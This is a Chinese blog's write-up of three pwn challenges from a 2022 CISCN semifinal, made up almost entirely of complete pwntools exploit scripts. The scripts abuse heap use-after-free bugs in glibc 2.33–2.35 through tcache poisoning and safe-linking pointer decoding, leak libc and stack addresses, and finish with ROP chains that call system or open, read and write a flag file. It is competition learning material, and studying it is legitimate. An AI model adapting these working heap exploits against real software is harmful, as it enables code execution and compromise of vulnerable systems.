CISCN华东北赛区半决赛Pwn-WP – 影二つ的博客

CISCN华东北赛区半决赛Pwn-WP

2022-6-20 15:30

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Duck

2.34的uaf，简单粗暴，通俗易懂

from pwn import*
r=remote("192.168.166.196",58013)
#r=process('./main')
context.log_level='debug'

libc=ELF("./libc.so.6")

def new():
	r.recvuntil(": ")
	r.sendline("1")

def delete(idx):
	r.recvuntil(": ")
	r.sendline("2")
	r.recvuntil(": \n")
	r.sendline(str(idx))

def show(idx):
	r.recvuntil(": ")
	r.sendline("3")
	r.recvuntil(": \n")
	r.sendline(str(idx))

def edit(idx,content):
	r.recvuntil(": ")
	r.sendline("4")
	r.recvuntil(": \n")
	r.sendline(str(idx))
	r.recvuntil(": \n")
	r.sendline(str(len(content)))
	r.recvuntil(": \n")
	r.send(content)

def xor_ptr(ptr1,ptr2):
	result=((ptr1>>12)^(ptr2))
	return result

for i in range(10): new()

delete(0)
delete(1)

show(0)
ptr0=u64(r.recvuntil("\n",drop=True).ljust(0x8,"\x00"))
show(1)
ptr1=u64(r.recvuntil("\n",drop=True).ljust(0x8,"\x00"))

heap=(ptr0^ptr1)-0x2a0
success("heap: "+hex(heap))

for i in range(2,8): delete(i)

show(7)
libc_base=u64(r.recvuntil("\n",drop=True).ljust(0x8,"\x00"))-libc.sym["main_arena"]-0x60
success("libc_base: "+hex(libc_base))

edit(6,p64(xor_ptr(heap,libc_base+libc.sym["environ"])))

new()
new()

show(11)
stack=u64(r.recvuntil("\n",drop=True).ljust(0x8,"\x00"))-0x168
success("stack: "+hex(stack))

delete(10)

edit(10,p64(xor_ptr(heap,stack)))

new()
new()
#gdb.attach(r)
edit(13,"a"*0x18+p64(libc_base+0x2daa2)+p64(libc_base+0x1b4689)+p64(libc_base+libc.sym["system"]))

r.interactive()

Bigduck

2.33的uaf配沙箱，泄露environ然后ROP

from pwn import*
r=remote("192.168.166.196",58011)
#r=process('./main')
context.log_level='debug'

libc=ELF("./libc.so.6")

def new():
	r.recvuntil(": ")
	r.sendline("1")

def delete(idx):
	r.recvuntil(": ")
	r.sendline("2")
	r.recvuntil(": \n")
	r.sendline(str(idx))

def show(idx):
	r.recvuntil(": ")
	r.sendline("3")
	r.recvuntil(": \n")
	r.sendline(str(idx))

def edit(idx,content):
	r.recvuntil(": ")
	r.sendline("4")
	r.recvuntil(": \n")
	r.sendline(str(idx))
	r.recvuntil(": \n")
	r.sendline(str(len(content)))
	r.recvuntil(": \n")
	r.send(content)

def xor_ptr(ptr1,ptr2):
	result=((ptr1>>12)^(ptr2))
	return result

for i in range(10): new()

delete(0)
delete(1)

show(0)
ptr0=u64(r.recvuntil("\n",drop=True).ljust(0x8,"\x00"))
show(1)
ptr1=u64(r.recvuntil("\n",drop=True).ljust(0x8,"\x00"))

heap=(ptr0^ptr1)-0x2a0
success("heap: "+hex(heap))

for i in range(2,8): delete(i)

edit(7,"\x10")
show(7)
libc_base=u64(r.recvuntil("\n",drop=True).ljust(0x8,"\x00"))-libc.sym["__malloc_hook"]-0x80
success("libc_base: "+hex(libc_base))

edit(6,p64(xor_ptr(heap,libc_base+libc.sym["environ"])))

new()
new()

show(11)
stack=u64(r.recvuntil("\n",drop=True).ljust(0x8,"\x00"))-0x168
success("stack: "+hex(stack))

pop_rdi=libc_base+0x28a55
pop_rsi=libc_base+0x2a4cf
pop_rdx=libc_base+0xc7f32

payload=p64(pop_rdi)+p64(stack)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(libc_base+libc.sym["open"])
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heap)+p64(pop_rdx)+p64(0x30)+p64(libc_base+libc.sym["read"])
payload+=p64(pop_rdi)+p64(1)+p64(libc_base+libc.sym["write"])

delete(10)

edit(10,p64(xor_ptr(heap,stack)))

new()
new()
#gdb.attach(r)

edit(13,"flag"+"\x00"*0x4+payload)

r.interactive()

Blue

目测是最新的libc-2.35，仅有一次show和uaf机会

没有malloc_hook,free_hook和exit，而且传统的IO_file_jumps被放在了不可写段上

利用方法：https://kagehutatsu.com/?p=655

from pwn import*
r=remote("192.168.166.196",58012)
#r=process('./main')
context.log_level='debug'

libc=ELF("./libc.so.6")

def new(size,content):
	r.recvuntil(": ")
	r.sendline("1")
	r.recvuntil(": \n")
	r.sendline(str(size))
	r.recvuntil(": \n")
	r.send(content)

def delete(idx):
	r.recvuntil(": ")
	r.sendline("2")
	r.recvuntil(": \n")
	r.sendline(str(idx))

def show(idx):
	r.recvuntil(": ")
	r.sendline("3")
	r.recvuntil(": \n")
	r.sendline(str(idx))

def uaf(idx):
	r.recvuntil(": ")
	r.sendline("666")
	r.recvuntil(": \n")
	r.sendline(str(idx))

def xor_ptr(ptr1,ptr2):
	result=((ptr1>>12)^(ptr2))
	return result

for i in range(9): new(0x88,"\n")

for i in range(8): delete(i)

for i in range(7): new(0x88,"\n")

new(0x18,"aaaaaaaa")

show(7)
r.recvuntil("a"*0x8)
libc_base=u64(r.recvuntil("\n",drop=True).ljust(0x8,"\x00"))-libc.sym["__malloc_hook"]-0x70-0x80
success("libc_base: "+hex(libc_base))

pop_rdi=libc_base+0x23b6a
pop_rsi=libc_base+0x2601f
pop_rdx=libc_base+0x142c92
gadget=libc_base+0x151990

payload=p64(pop_rdi)+p64(0)+p64(libc_base+libc.sym["alarm"])+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(libc_base+0x222060+0x980)+p64(pop_rdx)+p64(0x200)+p64(libc_base+libc.sym["read"])

for i in range(11): new(0x78,"\n")

for i in range(8,17): delete(i)

uaf(18)
delete(19)
delete(18)

for i in range(7): new(0x78,"\n")

new(0x78,p64(libc_base+0x222060+0xf00))

new(0x78,"\n")
new(0x78,"\n")
new(0x78,"flag\x00\x00\x00\x00"+p64(gadget))
for i in range(8,15): delete(i)

delete(15)
delete(17)
delete(18)

for i in range(7): new(0x78,"\n")

new(0x78,p64(libc_base+0x222060+0x908))
new(0x78,"\n")
new(0x78,"\n")
new(0x78,p64(libc_base+0x8e22e)+p64(libc_base+0x222060+0x908)+p64(0)*2+p64(libc_base+0x5b4d0)+payload[:0x50])

for i in range(8,15): delete(i)

delete(15)
delete(17)
delete(18)

for i in range(7): new(0x78,"\n")

new(0x78,p64(libc_base+libc.sym["_IO_2_1_stdout_"]+0xd0))
new(0x78,"\n")
new(0x78,"\n")
#gdb.attach(r,"b _dl_addr")
r.recvuntil(": ")
r.sendline("1")
r.recvuntil(": \n")
r.sendline(str(0x78))

payload=p64(pop_rdi)+p64(libc_base+0x222f60)+p64(pop_rsi)+p64(0)+p64(libc_base+libc.sym["open"])
payload+=p64(pop_rdi)+p64(3)+p64(pop_rdx)+p64(0x30)+p64(libc_base+libc.sym["read"])
payload+=p64(pop_rdi)+p64(1)+p64(libc_base+libc.sym["write"])

r.send(payload)

r.interactive()

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